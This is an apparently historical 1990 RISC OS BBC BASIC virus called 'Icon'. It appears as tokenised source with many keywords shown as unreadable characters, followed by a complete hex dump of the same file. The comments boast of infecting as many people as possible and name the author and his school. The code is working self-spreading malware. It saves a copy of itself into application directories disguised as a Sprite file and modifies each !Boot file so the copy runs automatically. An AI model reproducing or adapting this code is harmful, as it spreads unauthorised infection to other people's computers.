� >icon
H� This is based on an existing virus by an author not known to me. I
C� have modified and improved its operation. This is a certified
(E� friendly and harmless virus - its only aim is to infect as many
2D� people as possible - to see how it spreads. It was released on
<J� the Econet of QEGS Wakefield. If have got this virus in some obscure
FG� region of the world, it would be interesting if you could contact
PG� the Computer Technician known as Smigg at Queen Elizabeth Grammar
Z+� School, Wakefield, WF1 3QY - England.
d�
n6� 4-11-1990  R.A.Smith (Smigg) - a toss programmer
o.� modesty is also one of my strong points!
x
�� taskid%4:$taskid%="TASK"
�<ș "Wimp_Initialise",200,!taskid%," " � version%,handle%
�	�vars
�� q% &300,buffer% &200
�Jq%!4=handle%:!q%=20:q%!12=0:q%!16=&400C3:ș "Wimp_SendMessage",17,q%,0
�
�� DiscNameArray% 30
�� NameArray% 60
�DiscName$ = "xx"
�
�� � �finish
� 
��do_your_stuff

�

  ș Poll%,0,q% � A%


  Ȏ A% �

"D    � 17,18: �receive(q%):� 17 is shut me up, 18 is shut all up.

,  �

6� �

@ 

J��do_your_stuff:�

T

^� �receive(q%)

h� sz%,act%

r� � � �

|act% = q%!16

�
Ȏ act% �

�  � 0:� A%=18 � �finish

�  � &400C3:

�%    � (A%=17) � (q%!4<>handle%) �

�$      � ** Close task message **

�=      ș "OS_ReadVarVal","Obey$Dir",NameArray%,NameArray%

�      ptr%=0

�      �

�         ptr%=ptr%+1

�>      � ptr%>20 � NameArray%?ptr%=�"." � NameArray%?ptr%=0

�"      � NameArray%?ptr%=�"." �

�         NameArray%?ptr% = 13

�"        NewName$ = $NameArray%
%        � NewName$ <> DiscName$ �
)          � DiscName$<>"xx" � �saveme
"          DiscName$ = NewName$
&
        �
0	    �
:�
D�
N 
X
� �finish
bș "Wimp_CloseDown"
l�
v
�� �vars
�Wimp    = (1<<18) + (3<<6)
�CreateW = Wimp+1
�OpenW   = Wimp+5
�CloseW  = Wimp+6
�Poll%   = Wimp+7
�RedrawW = Wimp+8
�UpdateW = Wimp+9
�GetR%   = Wimp+10
�GetW    = Wimp+11
�GetP    = Wimp+15
�Drag    = Wimp+16
�CrMenu  = Wimp+20
DcMenu  = Wimp+21
�
 
 � �errorbox
*ș Drag,,-1
40!buffer%=�:$(buffer%+4)=�$+" at line "+Þ+�0
>/ș "Wimp_ReportError",buffer%,1,"This task"
H
�finish:�
R�
\��saveme
f  ș "Hourglass_On"
p,E=�"<Obey$Dir>.Icon":� E<>0 � �#E:� �dJC
z  � � �("SHUT"):�
�5ș "XOS_CLI","Save <Obey$Dir>.Icon "+�~�+" "+�~�P
�1ș "XOS_CLI","SetType <Obey$dir>.Icon Sprite"
�-ș "XOS_CLI","Access <Obey$Dir>.!Boot WR"
�  x=�"<Obey$dir>.!boot"
�
  �#x=�#x
�M  � #x,�10+"wimpslot -min 16k -max 16k"+�10+"BASIC -quit <Obey$Dir>.Icon"
�	  �#x
�  ș "Hourglass_Off"
��
�

00000000  0d 00 0a 0b f4 20 3e 69  63 6f 6e 0d 00 14 48 f4  |..... >icon...H.|
00000010  20 54 68 69 73 20 69 73  20 62 61 73 65 64 20 6f  | This is based o|
00000020  6e 20 61 6e 20 65 78 69  73 74 69 6e 67 20 76 69  |n an existing vi|
00000030  72 75 73 20 62 79 20 61  6e 20 61 75 74 68 6f 72  |rus by an author|
00000040  20 6e 6f 74 20 6b 6e 6f  77 6e 20 74 6f 20 6d 65  | not known to me|
00000050  2e 20 49 0d 00 1e 43 f4  20 68 61 76 65 20 6d 6f  |. I...C. have mo|
00000060  64 69 66 69 65 64 20 61  6e 64 20 69 6d 70 72 6f  |dified and impro|
00000070  76 65 64 20 69 74 73 20  6f 70 65 72 61 74 69 6f  |ved its operatio|
00000080  6e 2e 20 54 68 69 73 20  69 73 20 61 20 63 65 72  |n. This is a cer|
00000090  74 69 66 69 65 64 0d 00  28 45 f4 20 66 72 69 65  |tified..(E. frie|
000000a0  6e 64 6c 79 20 61 6e 64  20 68 61 72 6d 6c 65 73  |ndly and harmles|
000000b0  73 20 76 69 72 75 73 20  2d 20 69 74 73 20 6f 6e  |s virus - its on|
000000c0  6c 79 20 61 69 6d 20 69  73 20 74 6f 20 69 6e 66  |ly aim is to inf|
000000d0  65 63 74 20 61 73 20 6d  61 6e 79 0d 00 32 44 f4  |ect as many..2D.|
000000e0  20 70 65 6f 70 6c 65 20  61 73 20 70 6f 73 73 69  | people as possi|
000000f0  62 6c 65 20 2d 20 74 6f  20 73 65 65 20 68 6f 77  |ble - to see how|
00000100  20 69 74 20 73 70 72 65  61 64 73 2e 20 49 74 20  | it spreads. It |
00000110  77 61 73 20 72 65 6c 65  61 73 65 64 20 6f 6e 0d  |was released on.|
00000120  00 3c 4a f4 20 74 68 65  20 45 63 6f 6e 65 74 20  |.<J. the Econet |
00000130  6f 66 20 51 45 47 53 20  57 61 6b 65 66 69 65 6c  |of QEGS Wakefiel|
00000140  64 2e 20 49 66 20 68 61  76 65 20 67 6f 74 20 74  |d. If have got t|
00000150  68 69 73 20 76 69 72 75  73 20 69 6e 20 73 6f 6d  |his virus in som|
00000160  65 20 6f 62 73 63 75 72  65 0d 00 46 47 f4 20 72  |e obscure..FG. r|
00000170  65 67 69 6f 6e 20 6f 66  20 74 68 65 20 77 6f 72  |egion of the wor|
00000180  6c 64 2c 20 69 74 20 77  6f 75 6c 64 20 62 65 20  |ld, it would be |
00000190  69 6e 74 65 72 65 73 74  69 6e 67 20 69 66 20 79  |interesting if y|
000001a0  6f 75 20 63 6f 75 6c 64  20 63 6f 6e 74 61 63 74  |ou could contact|
000001b0  0d 00 50 47 f4 20 74 68  65 20 43 6f 6d 70 75 74  |..PG. the Comput|
000001c0  65 72 20 54 65 63 68 6e  69 63 69 61 6e 20 6b 6e  |er Technician kn|
000001d0  6f 77 6e 20 61 73 20 53  6d 69 67 67 20 61 74 20  |own as Smigg at |
000001e0  51 75 65 65 6e 20 45 6c  69 7a 61 62 65 74 68 20  |Queen Elizabeth |
000001f0  47 72 61 6d 6d 61 72 0d  00 5a 2b f4 20 53 63 68  |Grammar..Z+. Sch|
00000200  6f 6f 6c 2c 20 57 61 6b  65 66 69 65 6c 64 2c 20  |ool, Wakefield, |
00000210  57 46 31 20 33 51 59 20  2d 20 45 6e 67 6c 61 6e  |WF1 3QY - Englan|
00000220  64 2e 0d 00 64 05 f4 0d  00 6e 36 f4 20 34 2d 31  |d...d....n6. 4-1|
00000230  31 2d 31 39 39 30 20 20  52 2e 41 2e 53 6d 69 74  |1-1990  R.A.Smit|
00000240  68 20 28 53 6d 69 67 67  29 20 2d 20 61 20 74 6f  |h (Smigg) - a to|
00000250  73 73 20 70 72 6f 67 72  61 6d 6d 65 72 0d 00 6f  |ss programmer..o|
00000260  2e f4 20 6d 6f 64 65 73  74 79 20 69 73 20 61 6c  |.. modesty is al|
00000270  73 6f 20 6f 6e 65 20 6f  66 20 6d 79 20 73 74 72  |so one of my str|
00000280  6f 6e 67 20 70 6f 69 6e  74 73 21 0d 00 78 04 0d  |ong points!..x..|
00000290  00 82 1e de 20 74 61 73  6b 69 64 25 34 3a 24 74  |.... taskid%4:$t|
000002a0  61 73 6b 69 64 25 3d 22  54 41 53 4b 22 0d 00 8c  |askid%="TASK"...|
000002b0  3c c8 99 20 22 57 69 6d  70 5f 49 6e 69 74 69 61  |<.. "Wimp_Initia|
000002c0  6c 69 73 65 22 2c 32 30  30 2c 21 74 61 73 6b 69  |lise",200,!taski|
000002d0  64 25 2c 22 20 22 20 b8  20 76 65 72 73 69 6f 6e  |d%," " . version|
000002e0  25 2c 68 61 6e 64 6c 65  25 0d 00 96 09 f2 76 61  |%,handle%.....va|
000002f0  72 73 0d 00 a0 1a de 20  71 25 20 26 33 30 30 2c  |rs..... q% &300,|
00000300  62 75 66 66 65 72 25 20  26 32 30 30 0d 00 aa 4a  |buffer% &200...J|
00000310  71 25 21 34 3d 68 61 6e  64 6c 65 25 3a 21 71 25  |q%!4=handle%:!q%|
00000320  3d 32 30 3a 71 25 21 31  32 3d 30 3a 71 25 21 31  |=20:q%!12=0:q%!1|
00000330  36 3d 26 34 30 30 43 33  3a c8 99 20 22 57 69 6d  |6=&400C3:.. "Wim|
00000340  70 5f 53 65 6e 64 4d 65  73 73 61 67 65 22 2c 31  |p_SendMessage",1|
00000350  37 2c 71 25 2c 30 0d 00  b4 04 0d 00 be 17 de 20  |7,q%,0......... |
00000360  44 69 73 63 4e 61 6d 65  41 72 72 61 79 25 20 33  |DiscNameArray% 3|
00000370  30 0d 00 c8 13 de 20 4e  61 6d 65 41 72 72 61 79  |0..... NameArray|
00000380  25 20 36 30 0d 00 d2 14  44 69 73 63 4e 61 6d 65  |% 60....DiscName|
00000390  24 20 3d 20 22 78 78 22  0d 00 dc 04 0d 00 e6 0f  |$ = "xx"........|
000003a0  ee 20 85 20 f2 66 69 6e  69 73 68 0d 00 f0 05 20  |. . .finish.... |
000003b0  0d 00 fa 12 f2 64 6f 5f  79 6f 75 72 5f 73 74 75  |.....do_your_stu|
000003c0  66 66 0d 01 04 05 f5 0d  01 0e 18 20 20 c8 99 20  |ff.........  .. |
000003d0  50 6f 6c 6c 25 2c 30 2c  71 25 20 b8 20 41 25 0d  |Poll%,0,q% . A%.|
000003e0  01 18 0d 20 20 c8 8e 20  41 25 20 ca 0d 01 22 44  |...  .. A% ..."D|
000003f0  20 20 20 20 c9 20 31 37  2c 31 38 3a 20 f2 72 65  |    . 17,18: .re|
00000400  63 65 69 76 65 28 71 25  29 3a f4 20 31 37 20 69  |ceive(q%):. 17 i|
00000410  73 20 73 68 75 74 20 6d  65 20 75 70 2c 20 31 38  |s shut me up, 18|
00000420  20 69 73 20 73 68 75 74  20 61 6c 6c 20 75 70 2e  | is shut all up.|
00000430  0d 01 2c 07 20 20 cb 0d  01 36 07 fd 20 a3 0d 01  |..,.  ...6.. ...|
00000440  40 05 20 0d 01 4a 15 dd  f2 64 6f 5f 79 6f 75 72  |@. ..J...do_your|
00000450  5f 73 74 75 66 66 3a e1  0d 01 54 04 0d 01 5e 12  |_stuff:...T...^.|
00000460  dd 20 f2 72 65 63 65 69  76 65 28 71 25 29 0d 01  |. .receive(q%)..|
00000470  68 0e ea 20 73 7a 25 2c  61 63 74 25 0d 01 72 0b  |h.. sz%,act%..r.|
00000480  ee 20 85 20 ea 20 e1 0d  01 7c 10 61 63 74 25 20  |. . . ...|.act% |
00000490  3d 20 71 25 21 31 36 0d  01 86 0d c8 8e 20 61 63  |= q%!16...... ac|
000004a0  74 25 20 ca 0d 01 90 1b  20 20 c9 20 30 3a e7 20  |t% .....  . 0:. |
000004b0  41 25 3d 31 38 20 8c 20  f2 66 69 6e 69 73 68 0d  |A%=18 . .finish.|
000004c0  01 9a 0f 20 20 c9 20 26  34 30 30 43 33 3a 0d 01  |...  . &400C3:..|
000004d0  a4 25 20 20 20 20 e7 20  28 41 25 3d 31 37 29 20  |.%    . (A%=17) |
000004e0  80 20 28 71 25 21 34 3c  3e 68 61 6e 64 6c 65 25  |. (q%!4<>handle%|
000004f0  29 20 8c 0d 01 ae 24 20  20 20 20 20 20 f4 20 2a  |) ....$      . *|
00000500  2a 20 43 6c 6f 73 65 20  74 61 73 6b 20 6d 65 73  |* Close task mes|
00000510  73 61 67 65 20 2a 2a 0d  01 b8 3d 20 20 20 20 20  |sage **...=     |
00000520  20 c8 99 20 22 4f 53 5f  52 65 61 64 56 61 72 56  | .. "OS_ReadVarV|
00000530  61 6c 22 2c 22 4f 62 65  79 24 44 69 72 22 2c 4e  |al","Obey$Dir",N|
00000540  61 6d 65 41 72 72 61 79  25 2c 4e 61 6d 65 41 72  |ameArray%,NameAr|
00000550  72 61 79 25 0d 01 c2 10  20 20 20 20 20 20 70 74  |ray%....      pt|
00000560  72 25 3d 30 0d 01 cc 0b  20 20 20 20 20 20 f5 0d  |r%=0....      ..|
00000570  01 d6 18 20 20 20 20 20  20 20 20 20 70 74 72 25  |...         ptr%|
00000580  3d 70 74 72 25 2b 31 0d  01 e0 3e 20 20 20 20 20  |=ptr%+1...>     |
00000590  20 fd 20 70 74 72 25 3e  32 30 20 84 20 4e 61 6d  | . ptr%>20 . Nam|
000005a0  65 41 72 72 61 79 25 3f  70 74 72 25 3d 97 22 2e  |eArray%?ptr%=.".|
000005b0  22 20 84 20 4e 61 6d 65  41 72 72 61 79 25 3f 70  |" . NameArray%?p|
000005c0  74 72 25 3d 30 0d 01 ea  22 20 20 20 20 20 20 e7  |tr%=0..."      .|
000005d0  20 4e 61 6d 65 41 72 72  61 79 25 3f 70 74 72 25  | NameArray%?ptr%|
000005e0  3d 97 22 2e 22 20 8c 0d  01 f4 20 20 20 20 20 20  |=."." ....      |
000005f0  20 20 20 4e 61 6d 65 41  72 72 61 79 25 3f 70 74  |   NameArray%?pt|
00000600  72 25 20 3d 20 31 33 0d  01 fe 22 20 20 20 20 20  |r% = 13..."     |
00000610  20 20 20 4e 65 77 4e 61  6d 65 24 20 3d 20 24 4e  |   NewName$ = $N|
00000620  61 6d 65 41 72 72 61 79  25 0d 02 08 25 20 20 20  |ameArray%...%   |
00000630  20 20 20 20 20 e7 20 4e  65 77 4e 61 6d 65 24 20  |     . NewName$ |
00000640  3c 3e 20 44 69 73 63 4e  61 6d 65 24 20 8c 0d 02  |<> DiscName$ ...|
00000650  12 29 20 20 20 20 20 20  20 20 20 20 e7 20 44 69  |.)          . Di|
00000660  73 63 4e 61 6d 65 24 3c  3e 22 78 78 22 20 8c 20  |scName$<>"xx" . |
00000670  f2 73 61 76 65 6d 65 0d  02 1c 22 20 20 20 20 20  |.saveme..."     |
00000680  20 20 20 20 20 44 69 73  63 4e 61 6d 65 24 20 3d  |     DiscName$ =|
00000690  20 4e 65 77 4e 61 6d 65  24 0d 02 26 0d 20 20 20  | NewName$..&.   |
000006a0  20 20 20 20 20 cd 0d 02  30 09 20 20 20 20 cd 0d  |     ...0.    ..|
000006b0  02 3a 05 cb 0d 02 44 05  e1 0d 02 4e 05 20 0d 02  |.:....D....N. ..|
000006c0  58 0d dd 20 f2 66 69 6e  69 73 68 0d 02 62 17 c8  |X.. .finish..b..|
000006d0  99 20 22 57 69 6d 70 5f  43 6c 6f 73 65 44 6f 77  |. "Wimp_CloseDow|
000006e0  6e 22 0d 02 6c 05 e1 0d  02 76 04 0d 02 80 0b dd  |n"..l....v......|
000006f0  20 f2 76 61 72 73 0d 02  8a 1e 57 69 6d 70 20 20  | .vars....Wimp  |
00000700  20 20 3d 20 28 31 3c 3c  31 38 29 20 2b 20 28 33  |  = (1<<18) + (3|
00000710  3c 3c 36 29 0d 02 94 14  43 72 65 61 74 65 57 20  |<<6)....CreateW |
00000720  3d 20 57 69 6d 70 2b 31  0d 02 9e 14 4f 70 65 6e  |= Wimp+1....Open|
00000730  57 20 20 20 3d 20 57 69  6d 70 2b 35 0d 02 a8 14  |W   = Wimp+5....|
00000740  43 6c 6f 73 65 57 20 20  3d 20 57 69 6d 70 2b 36  |CloseW  = Wimp+6|
00000750  0d 02 b2 14 50 6f 6c 6c  25 20 20 20 3d 20 57 69  |....Poll%   = Wi|
00000760  6d 70 2b 37 0d 02 bc 14  52 65 64 72 61 77 57 20  |mp+7....RedrawW |
00000770  3d 20 57 69 6d 70 2b 38  0d 02 c6 14 55 70 64 61  |= Wimp+8....Upda|
00000780  74 65 57 20 3d 20 57 69  6d 70 2b 39 0d 02 d0 15  |teW = Wimp+9....|
00000790  47 65 74 52 25 20 20 20  3d 20 57 69 6d 70 2b 31  |GetR%   = Wimp+1|
000007a0  30 0d 02 da 15 47 65 74  57 20 20 20 20 3d 20 57  |0....GetW    = W|
000007b0  69 6d 70 2b 31 31 0d 02  e4 15 47 65 74 50 20 20  |imp+11....GetP  |
000007c0  20 20 3d 20 57 69 6d 70  2b 31 35 0d 02 ee 15 44  |  = Wimp+15....D|
000007d0  72 61 67 20 20 20 20 3d  20 57 69 6d 70 2b 31 36  |rag    = Wimp+16|
000007e0  0d 02 f8 15 43 72 4d 65  6e 75 20 20 3d 20 57 69  |....CrMenu  = Wi|
000007f0  6d 70 2b 32 30 0d 03 02  15 44 63 4d 65 6e 75 20  |mp+20....DcMenu |
00000800  20 3d 20 57 69 6d 70 2b  32 31 0d 03 0c 05 e1 0d  | = Wimp+21......|
00000810  03 16 05 20 0d 03 20 0f  dd 20 f2 65 72 72 6f 72  |... .. .. .error|
00000820  62 6f 78 0d 03 2a 0f c8  99 20 44 72 61 67 2c 2c  |box..*... Drag,,|
00000830  2d 31 0d 03 34 30 21 62  75 66 66 65 72 25 3d 9f  |-1..40!buffer%=.|
00000840  3a 24 28 62 75 66 66 65  72 25 2b 34 29 3d f6 24  |:$(buffer%+4)=.$|
00000850  2b 22 20 61 74 20 6c 69  6e 65 20 22 2b c3 9e 2b  |+" at line "+..+|
00000860  bd 30 0d 03 3e 2f c8 99  20 22 57 69 6d 70 5f 52  |.0..>/.. "Wimp_R|
00000870  65 70 6f 72 74 45 72 72  6f 72 22 2c 62 75 66 66  |eportError",buff|
00000880  65 72 25 2c 31 2c 22 54  68 69 73 20 74 61 73 6b  |er%,1,"This task|
00000890  22 0d 03 48 0d f2 66 69  6e 69 73 68 3a e0 0d 03  |"..H..finish:...|
000008a0  52 05 e1 0d 03 5c 0c dd  f2 73 61 76 65 6d 65 0d  |R....\...saveme.|
000008b0  03 66 17 20 20 c8 99 20  22 48 6f 75 72 67 6c 61  |.f.  .. "Hourgla|
000008c0  73 73 5f 4f 6e 22 0d 03  70 2c 45 3d 8e 22 3c 4f  |ss_On"..p,E=."<O|
000008d0  62 65 79 24 44 69 72 3e  2e 49 63 6f 6e 22 3a e7  |bey$Dir>.Icon":.|
000008e0  20 45 3c 3e 30 20 8c 20  d9 23 45 3a e5 20 8d 64  | E<>0 . .#E:. .d|
000008f0  4a 43 0d 03 7a 16 20 20  ee 85 20 ea 20 ff 28 22  |JC..z.  .. . .("|
00000900  53 48 55 54 22 29 3a e1  0d 03 84 35 c8 99 20 22  |SHUT"):....5.. "|
00000910  58 4f 53 5f 43 4c 49 22  2c 22 53 61 76 65 20 3c  |XOS_CLI","Save <|
00000920  4f 62 65 79 24 44 69 72  3e 2e 49 63 6f 6e 20 22  |Obey$Dir>.Icon "|
00000930  2b c3 7e 90 2b 22 20 22  2b c3 7e b8 50 0d 03 8e  |+.~.+" "+.~.P...|
00000940  31 c8 99 20 22 58 4f 53  5f 43 4c 49 22 2c 22 53  |1.. "XOS_CLI","S|
00000950  65 74 54 79 70 65 20 3c  4f 62 65 79 24 64 69 72  |etType <Obey$dir|
00000960  3e 2e 49 63 6f 6e 20 53  70 72 69 74 65 22 0d 03  |>.Icon Sprite"..|
00000970  98 2d c8 99 20 22 58 4f  53 5f 43 4c 49 22 2c 22  |.-.. "XOS_CLI","|
00000980  41 63 63 65 73 73 20 3c  4f 62 65 79 24 44 69 72  |Access <Obey$Dir|
00000990  3e 2e 21 42 6f 6f 74 20  57 52 22 0d 03 a2 1b 20  |>.!Boot WR".... |
000009a0  20 78 3d ad 22 3c 4f 62  65 79 24 64 69 72 3e 2e  | x=."<Obey$dir>.|
000009b0  21 62 6f 6f 74 22 0d 03  ac 0d 20 20 cf 23 78 3d  |!boot"....  .#x=|
000009c0  a2 23 78 0d 03 b6 4d 20  20 d5 20 23 78 2c bd 31  |.#x...M  . #x,.1|
000009d0  30 2b 22 77 69 6d 70 73  6c 6f 74 20 2d 6d 69 6e  |0+"wimpslot -min|
000009e0  20 31 36 6b 20 2d 6d 61  78 20 31 36 6b 22 2b bd  | 16k -max 16k"+.|
000009f0  31 30 2b 22 42 41 53 49  43 20 2d 71 75 69 74 20  |10+"BASIC -quit |
00000a00  3c 4f 62 65 79 24 44 69  72 3e 2e 49 63 6f 6e 22  |<Obey$Dir>.Icon"|
00000a10  0d 03 c0 09 20 20 d9 23  78 0d 03 ca 18 20 20 c8  |....  .#x....  .|
00000a20  99 20 22 48 6f 75 72 67  6c 61 73 73 5f 4f 66 66  |. "Hourglass_Off|
00000a30  22 0d 03 d4 05 e1 0d ff                           |".......|
00000a38